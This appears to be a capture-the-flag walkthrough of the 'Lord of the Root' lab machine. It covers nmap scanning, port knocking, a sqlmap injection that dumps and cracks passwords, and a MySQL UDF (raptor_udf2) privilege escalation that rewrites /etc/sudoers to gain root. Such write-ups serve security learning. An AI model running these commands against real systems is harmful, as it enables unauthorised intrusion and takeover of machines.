Lord of the Root

Starting with nmap scan found 1 open port 22 and a filtered port 1337

```
PORT    STATE SERVICE VERSION
22/tcp  open  ssh    OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
1337/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:D4:2B:B7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

When tried to connect to ssh, in the banner found text "LOTR Knock the door Easy as 1 2 3"

Port knocking,

```
# knock 10.0.0.129 1 2 3
```

The port 1337 opened from the knocking and running apache server on that, Visiting port 1337 in directory scanning found only one direcory that is images with 3 images and nothing special but when we try to visit to a direcory which does not exist irr redirect us to a page with the hipster.jpeg image.

In source of that page found a base64 encoded string on decoding found,

"Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!"

decoding the base64 and found a link inside it "/978345210/index.php" on visiting on the url found a login page tried some brute forcing and other stuff and found nothing at last tried sqlmap on it to see if there is any chance to get sql injection

```
# sqlmap -o -u http://192.168.30.140:1337/978345210/index.php --forms --dbs --level=5 --risk=3
```

Got sql injection, from that extracted some passwords of users inside database Webapp there are 5 entries and inside mysql database there we got md5 of mysql root password which on cracking we get it to be **darkshadow .**

Tried all 5 entried on web page but after login it is giving a static page with a image and logout button and nothing special in source

On trying same credentials on ssh got login from a user named smeagol.

On looking for running services found that mysql is running as root and kernel is also vulnerable

Mysql exploit

```
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_u.so -o raptor_udf2.so raptor_udf2.o -lc
$ mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/j0hn/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_u.so';
mysql> create function do_system returns integer soname 'raptor_u.so';
mysql> select * from mysql.func;
mysql> select do_system('chmod 777 /etc/sudoers && echo "smeagol ALL=NOPASSWD: ALL"
>> /etc/sudoers && chmod 440 /etc/sudoers');
mysql> exit
$ sudo su
GOT root
```